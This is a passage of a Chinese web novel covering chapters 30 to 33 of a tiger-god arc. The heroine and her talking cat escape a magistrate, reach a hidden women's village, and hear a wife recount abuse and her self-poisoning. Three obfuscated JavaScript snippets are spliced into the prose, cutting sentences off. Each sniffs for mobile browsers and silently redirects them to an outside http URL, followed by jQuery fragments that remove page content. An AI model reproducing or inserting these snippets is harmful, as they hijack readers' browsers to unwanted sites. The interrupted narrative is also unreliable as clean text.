“我儿不曾招惹过你,你为何要这般对他!”妇人仰起脸,妆容被眼泪糊作一团,根本看不清容貌,“我可怜的儿啊,你的命怎就这么苦啊!”
召南使劲用爪子扒拉了下耳朵。
“要聋了……”
君无岐也揉了下耳廓。
“啊……原来如此,怪不得弄来那么多人指甲,原来是在养迦楼罗。”她喃喃道,“身为一城之长,这应当是相当严重的渎职吧?”
何远山脸色刹那间变得恐怖。
“既如此,那你便休想活着出去。”他低语。
“来人,给我杀了她!”
30. 虎神(九)
和君无岐长期待在一块,需要超出常人的勇气、非同寻常的忍受力,还得时刻关注她的动向,以免当她有什么奇思妙想时被她误伤或者丢下。
召南一直都是这么认为的。
包括以前,包括现在。
“啊啊啊啊啊啊啊啊!”猫在半空中大叫,“我们到底要去哪啊啊啊啊啊啊啊啊!”
“当然是躲开这帮人,难道你还想在那里挨打?”君无岐的语气倒是很轻松,“虽然我还有点疑问,但日后再来也不迟。”
“不我不是说这个啊啊啊啊啊啊要撞上了拐啊拐啊!”
君无岐脚下踩着只奇术驱动的黄金宝船,大小只能容下她自己站在上面,召南只能死死扒在她肩上,生怕被甩下去。宝船尖尖的头被压扁了一点,导致控制方向时总有点偏差。
“往左!再左一点!啊啊啊啊啊我到底为什么要相信你!要撞了要撞了要撞了!”
长长的凄厉猫叫声划过天空,余音不绝。
“轰!”
宝船对着棵大树一头冲了过去,飞溅起八丈远的木屑灰尘。召南凭空变成一头一人多长的豹子,一口叼住君无岐的衣服把她拖了下来。她一头栽到豹子软软的皮毛上,两人滚作一团,万幸倒是没有受伤。
“我以后再也不会听你的瞎主意了。”召南躺在地上,四爪朝天,作悲愤状,“咱俩差点摔死!”
“唉,我那不是为了逃出来才作此下策吗?还能奢求什么好条件。”君无岐悠悠然爬起来,从头发里摘掉两根草屑,又拍拍身上的猫毛,“咱们这是到哪儿来了?”
召南也一咕噜爬了起来,左右看看,面露迷茫,“这里好像是虎野泽的深处。”
“哇,我们居然飞出来这么远。”君无岐毫无愧疚之心,现在已经开始溜溜达达的在湖边左右摸索了,“你说咱们能在这儿捞到点儿宝贝不?能一夜暴富的那种。”
“什么宝贝?”提起这个召南就来劲了,“是啊,之前祭拜队伍手里拿的那些东西,每一件都价值连城,如果能摸到其中一件……不对,我不是要跟你说这个!”
君无岐若无其事地从它面前走开,“嗯,我记得那天有一朵很漂亮的红宝石荷花来着,不知道这里会不会有?”
可怜猫咪本就浅薄的注意力又被此等无耻之人的话语给吸引走了,也跟着到处寻摸起来。一人一猫正在原地探索,忽然听到一声厉喝,“你们是什么人?”
一人一猫没想到这种地方也有人,召南当即被吓得变成猫咪大小,欻一下躲到君无岐背后,只露出两颗圆溜溜的猫眼。被当成掩体的那位倒是十分镇定,笑着问道,“你又是什么人?”
来人上下打量了一圈她,语气忽然软和了些,“你是逃到此地的?”
君无岐自知自己此刻的形象决计好不到哪里去,但也没想到竟然会被人认成逃难的。她犹豫了一下是否要为自己辩解,就听那女子道,“走吧,我带你去吃点东西。我们这里虽没什么好物,但填饱肚子还是没问题的。”
召南悄悄在背后探出脑袋。只见这女子穿着朴素,头发用最普通的方巾包着,面容坚毅,看年龄约莫三十上下,袖口和裤口都扎了起来,显得十分英气利落,手上还拿着一根长矛。
像个游侠或者民兵。
她注意到了地上那艘坏得不成样子的黄金船,面露疑惑,“这是你带来的家赀,还是逃走时一并偷走的?”
她似是把君无岐当成了某家逃走的女伎。
“哼,城里这帮老爷。姓何的喜欢身有残缺的女子,他们竟也跟风,真是不知廉耻!我呸!”民兵愤愤不平,“别怕,你既然逃到这里,那些人就不会再找到你了,就安心在这里住下吧。”
君无岐挑眉,“何出此言?”
“你有所不知,这里是虎神庇佑的桃花源,没有人能在这里勉强我们做不愿意的事情。”民兵表情骄傲,“你来这里是来对了,只要不触碰到虎神大人的底线,想做什么都可以。”
“原来如此,那看来我真是来对了地方。”君无岐笑眯眯道,“那就劳烦姐姐为我引见虎神大人了。”
“引见?哦不是,虎神大人不轻易见人。”民兵摇头,“虎神大人不怎么管我们的事,只有大事发生时才会露面,我也没见过他。平时我们都是各行其是的。”
她看看倒在一边的黄金船,面上没露出什么其他表情,好像这东西很常见似的。
“那我带你回村。你可小心些,这里路不好走。”民兵捡起根长树枝,把其中一端递给君无岐,“我叫秋慧,叫我慧姐就成!你叫什么名字?”
“我叫齐君。”君无岐从善如流地握住树枝,跟着她往前走,“那到了村里,我能做点什么吗?”
“嗯……我想想。”秋慧思索片刻,“耕种和织布那边都不缺人……你会唱歌吗?可以带着小孩子们一起玩。”
这倒是有点意思。
据君无岐所知,当下的风气十分看轻歌舞,认为那是为了取悦人学习的下贱行当,没有几户人会让自家孩子学这个,但这里似乎并不这么觉得。
“你们……不排斥这个吗?”她试探着问,“城里都不太学呢。”
“嗯?”秋慧疑惑片刻,随即恍然大悟,“哦,你误会了,不是专门学习,只是村里的孩子们都要集中认字看书,但胡奶奶说这样太紧绷也不好,所以要时不时带她们出来玩呢。”
新出现的人名让君无岐很感兴趣,“胡奶奶是?”
“胡奶奶是村里最长寿、最有智慧的人。”秋慧面露崇拜,“她什么都懂,有时候虎神大人也得听她的!”
有意思。
君无岐对这个“桃花源”越来越好奇了。
两人一猫一路前行,她感到地面越来越平坦好走,但周围的空气却在逐渐变得湿润,时不时有树枝拂过她的肩。召南紧紧贴在她身上,毛茸茸的长尾巴卷着她脖子,小声说话。
“我们正在往下走。”它只有气音,“有很多树,很茂密,还有溪水……溪水为什么是倒着流的?”
它受到惊吓,差点破音。
“什么声音?”秋慧听到了点动静,“难道有其他人混进来了?”
她目露警惕,四处张望。君无岐赶紧安抚她,“不是,是我的猫。它打了个喷嚏。”
召南适时“喵”了一声,天真无辜地望着她。秋慧放松下来,笑道,“吓我一跳。不是我反应过度,是村庄最近不太安全,我得时刻注意着。”
君无岐表示理解。
她们大概前行了两刻钟左右,秋慧停下来。面前是棵巨大的榕树,树冠向四面八方肆意伸展,接近张狂的程度,人站在树下只能看到一片翠绿庞大的云。无数枝枝叉叉上垂下气根,扎进泥土和浅滩,远远望去如一片树林。两侧湖面平静如镜,偶尔有鱼跃出来,啪一下跳过远处山峰,又直通通栽进水里,带起一阵涟漪。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14782117|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“到时候虎神祭就会在这里举办,城里每家每户都会来。”秋慧不知为何有点出神,“都说对着这棵树许愿很灵,但这世间的苦命人还是源源不断。”
她沉默下来,把手放在榕树上。
云气四溢,鸿门初开。
召南瞪大眼睛。
榕树树干上裂开一道裂缝,大小恰恰能容纳一个人走进去。秋慧先往里走了几步,又回头轻轻拉了下树枝,“现在我们要进‘门’,小心些。”
君无岐依言慢慢跨过门。
她闻到了花的香气。
只她能认出来的就有茉莉、木兰、牡丹等等,有的淡雅有的浓烈……可现在只是三月,很多花都没到开的时候。
“好闻吧?都是木婆婆带人侍弄的,她最爱这些花草,寻常都不给碰呢。”秋慧笑着说,“来这边,我先带你去见见胡奶奶。”
君无岐便跟着她往村子深处走去。路上遇到了不少人,秋慧就时不时停下和人聊两句,无一例外,都是女人。
这是个属于女人的村落。
秋慧带着她来到一座房子前。
木头和砖混砌的二层楼,有个大院子,里面全是各种各样的花,角落搭了架子,上面爬着的藤垂下累累葡萄。一个老太太站在架子下,正伸手去剪。
“胡奶奶!”秋慧大声说,“新来了个姑娘!我带她来给您看看!”
老太太恍若未闻,径直把剪下来的葡萄放进怀中陶盆里,又要掐一颗往嘴里送。秋慧眼疾手快,疾走几步唰地夺下陶盆,愤愤然道,“您不能吃凉的,一吃凉的要拉肚子!我拿去用热水过一下您再吃!”
“哎呀,是秋慧来啦。”老太太被夺了盆也不气,笑眯眯的,慈眉善目,“你刚刚说什么?奶奶年纪大啦,听不清。”
“我说,新来了个妹妹!”秋慧把盆放到一边,说道,“我带她来给您看看!”
胡奶奶这才看到君无岐。她眯着眼,细细打量她一圈,“好孩子,你叫什么名字?”
君无岐回答,“我叫齐君。”
“好孩子,好孩子。”老太太伸出只干枯褶皱的手,轻轻摸了下她的脸,“一定受过很多苦吧?”
君无岐愣住了。
她原本想好的话都猛地哽住,一时间竟然不知该如何作答,只得仓促回应道,“嗯……还好。”
“哎,很不容易吧,来到这里就好好歇歇。”胡奶奶拉着她的手,轻轻拍了两下,“秋慧啊,我记得湖边那里是不是还有间屋子空着?就让这孩子住那里吧。”
“哎?可是奶奶……”秋慧一愣,正要再说些什么,就见老太太慢腾腾地转了身,自顾自进屋去了。
她挠挠头发,“啊,我还想问问奶奶给你安排什么工作呢……不过算了,我先带你去住的地方,适应两天再说吧。”
她又带着她往外走,召南趁机在君无岐耳边说,“我们真的要留下来吗?这里好奇怪啊。”
君无岐脑子还有点混乱,闻言下意识地回答,“怎么?”
“这里的太阳不会动!而且季节也是乱的。”召南很认真地说,“我刚刚看到水流都是往高处流的,可她们都像没看到一样,甚至还在水里洗衣服!”
“这里真的安全吗?要不我们还是走吧。”它小声嘀咕,“怎么想应该都是命重要一点……”
君无岐掐了下眉心,“就是因为奇怪所以……”
“君姑娘?”
31. 虎神(十)
很熟悉的声音。
人也是熟悉的。
是失踪的苏敏静。
她的气色比起在傅府时好多了,行动自如,只是身形仍然很消瘦,像是风一吹就能吹跑似的。她明显有点不知所措,想过来但走了几步又停下了,“你怎么在这里?”
秋慧有些意外,“你们认识?”
“啊……是,有过几面之缘。”苏敏静慌忙回答,“秋慧,你忙你的去吧,我带她去住的地方。”
“啊,那好吧。”秋慧犹豫地松开手,“我就先走了。”
看着秋慧的身影消失在远处,苏敏静一把拉过君无岐的袖子,神情紧张,“你是自己来到这的吗?其他人知道你在这儿吗?傅必先是不是知道我在这儿了?他要带我回去吗?”
“苏夫人,我来到这里只是个意外,您不必这样。”君无岐急忙安抚她,“另外,傅老爷已经去世了。”
“死了?他怎么死的?什么时候死的?”苏敏静有些恍惚,不知不觉松开了手,“那……那我的孩子们呢?秀善怎么样了?”
“这……我不好说,但秀善小姐应当没事。”
“没事……没事就好,没事就好,我真不是个合格的母亲。”苏敏静似哭非笑,“我竟然把她自己独自留在那座宅子里,还要让她和那种人结婚……”
“呃……”君无岐难得尴尬,“若是没有意外的话,何家荣应当也不会迎娶您女儿了。”
这件事显然出乎苏敏静的预料,她急忙追问,“这又是怎么回事?难道何府那边也出事了?”
提起何府,君无岐的神情严肃起来。
“苏夫人,您到底为什么要离开傅府?是不是和何家荣有关系?”
听到何家荣的名字,苏敏静脸上快速闪过一丝不自然,“什么?不,和他没关系,我只是单纯受不了再在那里生活下去了,你来的时间短,但应该也能看到他们是怎么对我的……我实在是……”
“苏夫人,您现在已经不在傅府了,你可以对我说实话。”君无岐轻轻把手搭在她的肩上,“您那么挂心秀善小姐,一定不会轻易主动离开傅府,其中必有原因。可以告诉我吗?何家荣现在元气大伤,他不会再威胁到您了。”
苏敏静怔怔地看着她,眼睫毛上还挂着几滴水珠。
“真的吗?”她小声问。
“是真的。”君无岐笃定道。
苏敏静用力攥了一下拳,似乎下定了某种决心,她左右看看,拉过君无岐的袖口,“我先带你去住的地方,那里人少,方便我们谈话。”
两人一猫沿着鲜花盛开的小径来到湖边,那里有一座木屋,黑瓦白墙,屋前还有一片院子,院墙上爬满了盛开的蔷薇,芳香馥郁,浓烈不散,简直如同梦中的场景。苏敏静帮她打开门,屋内桌椅板凳等家具一应俱全,像是随时准备着有人入住一样。
她支起窗户,让带着水汽的风轻柔地吹进来。
“这件事还要从我生病时说起。”她一只手用力按在另一只手上,似乎是在为自己带来力量,“当时我只是普通风寒,但万万没想到事情竟会发展成后面这样……”
苏敏静一直知道傅必先私底下与何远山有些合作。
她虽执掌家中中馈,但那只是会消耗人大量心神的琐事而已,没有人真心尊重她。这等事情傅必先从来不会让她插手,她私底下也曾猜测过两人究竟是在合谋什么事情,因为每次傅必先见过何远山回家时神色都十分激动,仿佛有什么天大的好事发生,可每当她询问时,他却又假装什么事都没有。
时间长了,苏敏静便也懒得管了。适时她那时感染风寒,便想着借此机会也好好歇一歇。可谁想到某日傅必先回家,面对她的第一反应竟然不是嘘寒问暖。而是神情怪异地打量着她。
苏敏静再过几十年也不会把他那时的表情忘记,傅必先看她的眼神,不像是在看妻子,倒像是在打量一块肉,冷冰冰的挑剔着什么,但片刻后又爆发出惊喜,好像终于用目光压榨出了她皮肉下的一点价值似的。
“敏静,好敏静。”傅必先柔情万分地喊着她的名字,“你感觉身体怎么样?是不是还得再歇一歇?”
苏敏静本能地察觉到有什么不妙的事情正在发生,但她不知如何阻止,也无法阻止,只能拼尽全力试图挽回他的决定,“我就要好了。家中可是发生了什么事?我可以来处理。”
但傅必先根本没有听他说话。
他指挥着下人把她搬到了那间偏院里,荒凉,冷僻,孤寂,对于病情恢复根本没有一点好处。蓝婆曾试图阻止过,可她人微言轻,多去两次傅必先就烦了,根本不见她的面。她也无法,只好更尽心尽力地照顾她。那时她们根本不曾想到这还不是结束,只是噩梦的开始。
某天夜里,何家荣进了这间院子。
苏敏静崩溃了,尖叫着用手边所有能抓到的东西砸他,浑身都在发抖,“你是怎么进来的?快滚出去,快滚!我是谁你不知道吗?我丈夫是傅必先!”
何家荣额角上被砸破一块,形容狼狈,他拿袖子捂住,恼羞成怒道,“看你病殃殃的有几分姿色才来找你,想不到竟如此泼辣!你丈夫是傅必先又如何?就是傅必先让我进来的!”
蓝婆听到她的尖叫闻声赶来,连推带搡地把何家荣弄了出去。苏敏静不知道那夜之后的事是如何收场的,她只能蜷在被子里,缩在蓝婆怀中瑟瑟发抖,一夜不得安歇。
第二日她要找傅必先,但他根本不见她。
她该依赖谁呢?丈夫竟要亲自将她送人。娘家不靠谱,只晓得向她要钱,若是卖了她能得到几分钱财,他们想必也很乐意。儿女如今还小,儿子正在要考学的紧要关头上,女儿天真烂漫不知事,根本不能撑起一片天空。
她无路可走。
那是她第一次生出要逃跑的念头。
但最终还是熄灭了。因为她听闻,傅必先要将傅秀善嫁给何家荣。
那一刻她只感觉天旋地转。
“不行……这样不行,我不能让秀善嫁过去。”那时苏敏静已经病得很重了,说出口的话都像是风拂过树枝,什么痕迹也留不下,“我得想个办法……我得想个办法……”
她先是找来了秀善,想把一切真相都告诉她。可面对女儿尚且天真的双眼时她又什么也说不出来了,只能憋出几个字,让她小心何府,教她不要过于良善。
她又想去找大儿子帮帮女儿,可那孩子只会抱歉地告诉她,他现在正处于科举的关键时期,其他事且先搁一搁。
苏敏静在绝望与焦虑中病得越来越重。
直到关惊澜的到来。
她终于有了一个新主意。
那天晚上她难得有了精力,披衣起来写了一封信,然后叫来蓝婆,交代她去请何家荣过来。
蓝婆可能猜出来了她想做什么,也可能没有,但她还是忠诚地完成了命令。何家荣果然来了,那是她此生最为痛苦和难堪的时刻,但
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14786717|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
万幸的是她不必忍受到最后,只需要当何家荣把手放在她身上时死掉就好。
……只需要,死掉就好了。
她事先服了药,药味苦涩难闻,在唇齿中弥漫的时候只让人感觉到绝望。迷蒙中她听到何家荣说了些什么,似乎是想把她叫起来,但很快就停了,接着有人进来,有人出去。她在最后的时刻只感觉到空气冰凉,沉重,压得她喘不过气。她闻到凌霄花的气味。是幻觉吗?她不确定。
然后有滚烫的眼泪滚落在她脸上,好像是秀善来了。她想叫她别哭,但抬不起手,也睁不开眼。她似乎听见砰砰砰的声音,不知道秀善在做什么。最后等到她再睁开眼的时候,发现自己在夜空中飞行。
少时母亲曾为她念诗,念李贺的《天上谣》,“天河夜转漂回星,银浦流云学水声”。她问母亲这句诗是什么意思,母亲笑着牵起她的手,为她指天上的银河,亮闪闪的,像绸带飘荡。她试探地伸出手,只能感到冰凉的风。
“星星为什么会动呢?”她问母亲。
“我不知道。也许以后你会为我解答这个问题。”母亲笑着抱起她。
星空真美啊。她想。
浅淡的辉光落在她脸上,她看到云像雾一样散开,看到星星,看到月亮,光芒纱一样穿过她的发丝。远处传来更夫敲钟的声音,当,当,当。她飞得那么高,高得好像一伸手就能碰到星星,高得好像能看清月宫中的嫦娥。夜里应当有风,但她毫无察觉,伸手时只能触到柔软顺滑的皮毛,以及淡淡的、干燥的、草木一般的气味。
是虎神正在背着她飞翔。
“你有个很好的女儿。”虎神声音低沉,“我带你去一个地方,在那里,你再也不必勉强自己了。”
她以为这是个幻觉,于是在幻觉中幸福地沉沉睡去,直到醒来时,发现自己正身处桃花源。
原来不是幻觉。
“这就是全部的前因后果了。”苏敏静苦笑着说,“若不是见到你,我还以为自己在梦里呢。”
而君无岐几乎说不出话来。
“抱歉。”她说,“若那时我们能帮你……”
“不必这么说。”苏敏静笑起来,“这样现在就很好,听到傅必先死了我更好。麻烦你出去之后转告秀善,让她好好待自己,不必急着嫁人,若是遇到什么难处,就来桃花源。”
“好,我答应您。”君无岐轻声说。
“至于傅必先究竟是被谁杀的,这……原谅我没法给你什么线索。”苏敏静摇摇头,“不过我觉得你可以往知州那边查一查,应当与他们之间合作的内容有些关系。”
“我会的。您在这里要好好保重身体。”
君无岐站起来,目送苏敏静慢慢离开。她瘦削的背影渐渐消失在花海之中,风吹起散落的花瓣,下一场淡色的雨。她叹了口气。
“我现在有点相信这里是真的桃花源了。”她说。
“可能是吧。”召南也有点不确定,“你接下来准备干什么?”
“打听打听消息,问问怎么才能从这里出去。”
君无岐袖起手,若有所思。
“这个虎神有点意思,你觉得我们能见到他吗?”
“你想见他?”召南从她身上跳下来,伸了个懒腰,又抖了抖毛,“我觉得还是先休息会吧,要累死了。”
“是,你说的对。”
君无岐也伸了个懒腰。
“不管什么事,都明天再说吧。”
32. 虎神(十一)
桃花源一大早就热闹起来。
这里的日出日落与外界不同,人们早就习惯了清晨突兀的有个太阳悬在天上。有人扛着锄头去下地,有人在溪水边洗衣服,有人在屋里织布,每个人都各行其是,其乐融融。
“昨天又来了个小姑娘,据说眼睛瞎了,是从大户人家府里跑出来的,可怜呢。”
“什么?城里的老爷们真是越来越不当人,幸亏她逃来了我们这里。”
“是啊是啊,要不是桃花源,我从家里跑出来都不知道该去哪……”
关系要好的人们低声讨论着新来的姑娘,风里飘荡着花、皂角和麦饭的香气。几个小女孩嬉闹着从溪边跑过,鬓边戴着五颜六色的花。一个穿白衣的青年扶着手杖,慢悠悠从小道那边走来,肩上还蹲着只毛色奇怪的长毛猫。
“姐姐们都忙着呢?”她一点都没有刚到陌生地方的尴尬和局促,特别自来熟地和她们打招呼,“用过早膳没有?今天天气真不错,姐姐们看到慧姐了吗?”
女人们笑起来。
“她去巡逻啦!”
“今天饭堂的早膳有麦饭和煮豆子,你用过了吗?”
“咱们桃花源的天气天天都很好!”
“秋慧那孩子责任心太强了,每天都要去巡逻。”
“责任心强还不好?让你住得舒舒服服的!”
“哎呀,我不是怕她累到吗……”
她们七嘴八舌地回答了问题,话题就逐渐跑偏了。君无岐也不着急,得到答案便慢腾腾地离开,循着香味飘来的方向走去。
“这里真好啊,还有饭堂。”召南陶醉地深深吸了口气,“真想一直住在这里……”
这猫昨天还说这里奇怪,君无岐有点好笑,“那让你住在这,我自己走怎么样?”
召南一听就不干了,立马用尾巴勾住她脖子,“那可不行,我要跟着你!”
“哎哟哎哟,轻点,我要被你勒死了。”君无岐一口气差点没喘上来,赶忙把猫尾巴拉开,“该往哪里去?你倒是好好给我指路呀。”
召南气哼哼地拿尾巴尖拍了下她的肩膀。
一人一猫走进饭堂,这是个砖木混建的单层大屋,一进门就能看到边上摆了两大桶吃食,一桶是麦饭,一桶是豆饭,旁边小桌上还有腌菜,林林总总摆了十多盘。几个年岁不大的小女孩正坐在一边吃饭,一个少年耐心地一口口喂她们。
“哎呀,你就是新来的那个姑娘吧?”帮忙打饭的大娘笑呵呵的,“喜欢麦还是豆?给你多打点!”
“麦吧,劳烦婆婆。”君无岐乖乖应道,“不知这里有无小猫能吃的东西?”
“哦,还有猫儿呢!”大娘这才看到召南,顿时喜上眉梢,“哎呀,这猫长得真乖,咪咪,过来,婆婆给你拿鱼吃。”
刚才还叫着不要离开的召南立马跳到地上,仰头朝大娘喵喵叫,又嗲又甜,尾音拖得老长,听得大娘越发欣喜,急忙取了鱼肉来喂它。
端着碗的君无岐,“……”
算了,她早该知道这破猫的德行。
她懒得管它,自己摸索着,找个空位坐下。
身边就是那群小女孩,她们的魂火是纯白色,毛茸茸的挤在一起,像小动物,大点的那个带一点浅金,好像阳光照在泉水上。她听到那少年在哄小女孩吃饭,声音低低的,又很温柔,一字一句如同水珠滚落岩石。但不知为何小姑娘们都不太说话,偶尔发出“嗯”“唔”之类的语气词。
召南不知道什么时候窜了回来,还叼着只虾。它蹲在饭桌上把虾吃了,忽然动作一凝。
“无岐无岐。”它像个小炮弹似的倏地跳她肩上,小声咪喵,“她们有点奇怪……有的上嘴唇裂开,有的眼珠是白的,还有人没有手!”
君无岐慢慢放下筷子。
她想都不用想就知道这些孩子是从哪来的。
“再吃一点吧?不吃了?好,那你们去玩吧,记得一会要去学堂学认字哦。”
小姑娘们欢呼一声,好像一群小麻雀出了笼,叽叽喳喳地笑着就跑了出去。但侧耳细听,就会发现那些声音大多是无意义的语气词,极少部分才是简短的语句。那带着她们的少年非常轻地叹了口气,起身收拾碗筷,大约是地上有水,她回身时不小心撞了下君无岐的肩膀。
“抱歉,抱歉!”少年赶忙道歉,“我天生跛足,行动不太方便……有伤到你吗?”
“我没事。”君无岐笑着应,“那些孩子都是你独自在带?真厉害。”
“也没有啦,只是村里的婆婆们见我残疾,才给了我这份差事。”少年有些羞涩,“再说我也喜欢和妹妹们在一起……啊,您就是新来的那位吧?”
“是的,我昨天才到村里。”君无岐趁机打听消息,“咱们村里的人都是逃来的吗?那以后要想出去怎么办?”
“就我所知,大部分人都是逃过来的。”少年先是回答了她的第一个问题,“出去?你想出去吗?可是村里这么好,为什么会想出去?”
说到后面她的语气甚至有几分激动,“曾经也不是没有人出去过,可她们无一例外又都回来了。这世道没有人会轻易离开自己家的,除非她们活不下去。你知道来村里的都是些什么人吗?有的被自己的丈夫打得半死,有的要被家里人卖到青楼去,还有被主家虐待到没法生存的。像那些女孩儿,她们都是很好的孩子,有的外表上有缺陷,但还有很健康的孩子,为什么要把她们都丢掉?”
“抱歉,让您见笑了。”少年快速抹了一下眼角。
“没关系。”
君无岐料到了这村庄背后一定有些故事,但没有想到这故事远比她猜测的更要离奇,她自知在这里不会找到答案,便起身与她告别。
外面仍旧春光明媚,山花烂漫,永恒温暖的阳光如梦境一般。村里铺了青石路,竹杖敲上去时有清脆的哒哒声,她不想思考这些青石是从哪里来的,只是沿着道路往前走,耳边传来笑声,有老人的,有青年人的,有小孩子的,没有人会不为这种场景感到欣喜。但她只觉得担忧。
“理想中的女儿国。”她轻声说,“真的能实现吗?”
“我曾经也思考了很久这个问题。”不紧不慢的脚步声靠近她,在她身边停下,老太太的声音如昨日一般平和慈爱,“这些孩子都是可怜人,世界上的可怜人源源不断,桃花源却不能无止境地扩张下去。我曾和虎神讨论过这个问题,但他回避了我。你是怎么看的?”
君无岐沉默了很久。
“我不知道。”她说。
“我看到你第一眼时就知道你不是普通的孩子。”胡奶奶摸了下她的脸颊,她的手很粗糙,接触到皮肤时就像砂纸擦过,但远比什么绸缎绫罗来得更让人安心,“如果你感到疲惫的话,也可以留在这里。”
君无岐在她掌中摇了摇头。
“抱歉,胡奶奶。我还有些事要去完成。”
“一定是很重要的事情吧?”胡奶奶并没有勉强她,狡黠地眨了下眼睛,“但我不会告诉你出去的方法的,你得自己
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790734|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
找出来。”
君无岐对此早有预料。
“我会的。”
小老太太又溜溜达达的走了。
召南站在她肩上,对老太太远去的背影目露景仰,“哇,她居然想留下你,他不怕你把她的村子都拆了吗?”
“什么话。”君无岐轻拍了下猫头,“走吧,我们去别处转转。”
她们就继续沿着青石路往前走。
中间经过了一个像是学堂的地方,女孩们在里面跟着先生奶声奶气地念书,念的是《千字文》,“天地玄黄,宇宙洪荒。日月盈昃,辰宿列张。寒来暑往,秋收冬藏……”
“先生,什么是寒来暑往?秋和冬又是什么?”
“外面的世界有春夏秋冬四季,每个季节都不一样。秋天是收获的季节,冬天是万物休息的季节。我们在村里看不到是因为虎神大人只为我们保留了春天,这是最适合人生存的时节……”
“可是我想看看秋冬是什么样子的。”
“不要想着出去,外面的世界非常可怕,随时会有人伤害你……”
君无岐没有听下去,慢慢走开了。
这座村子远比她想的要大,在众多屋舍环绕之中,中央甚至有一片小小的空地,周边上还在晒着麦子。空地中间跪着一个女子,低着头一动不动。周围有许多人走过,可她们都对她视而不见,好像她本就应该在那里似的。
虽然是春天的太阳,但晒久了仍然能感受到那份烈度。这女子的后颈通红,衣裳上甚至结了一层碱。几个结伴去打渔回来的女子经过,其中一个路过她时,狠狠在地上呸了一声。
“无情无义的表子,只想着外面的男人,丝毫不考虑考虑帮过你的姐妹们!”她满脸愤恨,看她的眼神简直像是要把她剥皮拆骨,“把她救下来,好吃好喝伺候着,就是为了让她享受几天好日子,再跑出去找男人?哪有这样的道理!”
旁边的女人拉了拉她,示意她不要说话这么难听。
女人挣开,朝空地翻个白眼,转身走了。
君无岐犹豫片刻,还是走了过去。
女人动了一下,抬起头来看她。她有一张憔悴疲惫的脸,肤色暗黄,头发乱糟糟地垂在脸颊两边,露出的每一寸皮肤上都刻着皱纹,可听声音却又分明没有那么苍老。
“离我远些。”她说,“她们会连你一并恨上的。”
“你为什么跪在这里?”君无岐问,“你想离开桃花源?”
女人苦涩地笑了一下。
“对,我想离开这里,所有人都在骂我不识好歹。”她说,“但我必须要走,我必须要走……还有事情没有做完。”
“你出去想做什么呢?”
女人看向远方,瞳孔倒映出麦子、房屋、树还有盛开的花,飘过来的云在她脸上投下阴影,让她的牙齿显得似乎也不那么昏黄。
“我要去找我丈夫。”她小声说,“我必须去。”
这个答案没有出乎君无岐的意料,但她原本以为她会想去找儿子或者父亲之类的。她犹豫了一下,继续问道,“那你为什么跪在这里?这是出去的方法吗?”
女人看着她。
“这是胡奶奶告诉我的,只要我在这里跪一天一夜,她就会放我走。”说到这里,她脸上忽然绽放出一种奇异的光彩,“还有一夜,还有一夜我就可以走了!”
君无岐无言以对,便默默离开。她走出去很远,召南回头,小声说,“她还在那里跪着呢。”
她掐了下眉心。
33. 虎神(十二)
“这样下去不是个办法。”
君无岐难得有些疲惫。
出来转了半天,结果什么收获也没有。她正准备找个地方坐下歇一歇,忽然听到一道轻快明亮的声音从身后响起。
“齐姑娘!”
是秋慧。
她大概是刚巡逻回来,额头上还有一层薄汗,手里拿着什么东西。君无岐站在原地,听她哒哒哒的跑过来,把那玩意儿塞到她手里。
她下意识地捏了一下,很薄,手感有些脆。
“哎,哎,别捏呀,这是你的黄金船,我今天又特地去了一趟给你拿回来的呢!”秋慧赶紧阻止她,“你摸摸,是不是你的那艘船?船头有点歪了,不过应该不要紧吧。”
君无岐拿着黄金船,有点迟疑。
“呃……不用上交什么的吗?我的意思是说,反正我也用不到,要不就交给村里方便采购些用度?”她试探着问。
“你把我们这里想成什么了?”秋慧有点不高兴,“村里不会侵吞别人财产的,你的东西自己收好。钱的事情用不着你操心。”
说完她又觉得自己话有点重,往回找补,“真的没事。你看,这种东西随便都有的。”
她塞给君无岐一颗绿松石。
君无岐,“……呃,那,谢谢?”
秋慧显然很忙,她自觉已经安抚好了君无岐,就匆匆要走,临离开时不知想起了什么,又交代道,“咱们村里的河很深,水流又急,你看不见,可要当心些。”
召南下意识瞥了眼河流。
为什么突然提这个?
君无岐也有点意外,但还是应了。等到秋慧走后,她扶着竹杖,慢慢走到河堤上。
堤下有几个人在洗衣裳。
她们手边有一堆皂荚,用的时候就拿小木棒把皂荚捣碎,然后放在衣裳上搓。水里漫开淡淡的泡沫,但很快又和浪花融为一体,了无痕迹。一个年长些的妇人注意到了她,笑着与她打招呼。
“在那里站着做什么?下来玩呀。”
君无岐从善如流,“好呀。”
